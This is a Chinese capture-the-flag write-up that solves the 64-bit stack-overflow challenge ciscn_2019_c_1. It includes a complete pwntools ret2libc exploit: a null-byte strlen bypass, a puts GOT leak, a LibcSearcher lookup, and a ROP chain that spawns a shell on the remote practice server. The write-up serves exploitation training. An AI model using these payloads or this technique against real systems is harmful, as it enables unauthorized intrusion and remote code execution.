比较有意思的64位PWN题,中间遇到了一些坑,记录一下
1.分析程序 1 2 3 4 5 6 7 8 root@Hello-CTF:/mnt/c/Users/HelloCTF_OS/Desktop/pwnbuu# checksec ciscn_2019_c_1 [*] '/mnt/c/Users/HelloCTF_OS/Desktop/pwnbuu/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
开了NX,64位程序,是个加解密程序
加密函数
2.思路 没有system和/bin/sh参数,因此需要构造ROP,并且没有给出libc文件,但存在puts函数,可以用于leak,捋一下步骤。
利用栈溢出点实现溢出
调用已经使用过的put函数,来暴露put函数真正入口在内存中的偏移地址
通过操作系统内存分页存储的特点,通过put函数后三个字节来(每页4kb),比对出libc的版本
在得到的libc中找到我们需要的函数(system)和字符(bin/bash),之后加上在内存中的偏移量得到二者在内存中真正的地址
最后通过溢出来调用system函数执行bin/bash命令
栈溢出 距离返回地址(0x50+0x08)字节
加密函数使用了strlen,可以利用\x00中断绕过
1 2 r.sendlineafter('choice!\n' ,'1' ) payload = b'\0' + b'a' *(0x50 + 0x08 - 1 )
构造ROP 1 ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
puts真实地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 p = remote('node5.buuoj.cn' , 27937 ) elf = ELF("./ciscn_2019_c_1" ) proc = process("./ciscn_2019_c_1" ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] pop_rdi = 0x400c83 main_addr = 0x400b28 ret = 0x4006b9 payload = b'\0' + b'a' * 87 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("choice!\n" , "1" ) p.sendlineafter('Input your Plaintext to be encrypted' , payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) libc_puts = u64(p.recvuntil('\n' )[:-1 ].ljust(8 , b'\x00' )) print (hex (libc_puts))
system、binsh地址 1 2 3 4 5 6 obj = LibcSearcher("puts" , libc_puts) libc_base = libc_puts - obj.dump("puts" ) libc_sys = libc_base + obj.dump("system" ) libc_binsh = libc_base + obj.dump("str_bin_sh" ) log.info(f'libc base={hex (libc_base)} ; system={hex (libc_sys)} ; /bin/sh={hex (libc_binsh)} ' )
3.构造EXP 坑点1:ubuntu18环境需要加个ret补齐栈
坑点2:和之前32位程序不同,较少参数时64位程序使用寄存器传参,因此构造ROP不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote('node5.buuoj.cn' , 28379 ) elf = ELF("./ciscn_2019_c_1" ) proc = process("./ciscn_2019_c_1" ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] pop_rdi = 0x400c83 main_addr = 0x400b28 ret = 0x4006b9 payload = b'\0' + b'a' * 87 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("choice!\n" , "1" ) p.sendlineafter('Input your Plaintext to be encrypted' , payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) libc_puts = u64(p.recvuntil('\n' )[:-1 ].ljust(8 , b'\x00' )) obj = LibcSearcher("puts" , libc_puts) libc_base = libc_puts - obj.dump("puts" ) libc_sys = libc_base + obj.dump("system" ) libc_binsh = libc_base + obj.dump("str_bin_sh" ) payload2 = b'\0' + b'a' * 87 + p64(ret) + p64(pop_rdi) + p64(libc_binsh) + p64(libc_sys) p.sendlineafter("choice!\n" , "1" ) p.sendlineafter('Input your Plaintext to be encrypted' , payload2) p.interactive()
4.x86 和 x86_64差异 在 x86 和 x86_64 两种架构下,ROP 方法的 payload 组织方式不同:
x86 非syscall:
x86_64 非syscall:
前6个参数依次通过寄存器传递
gadget 均包含ret指令;
组织形式:GADGET_0 ADDR + ARGUMENT_0 + GADGET_1 ADDR + … + GADGET_N ADDR + ARGUMENT_N + FUNCTION ADDR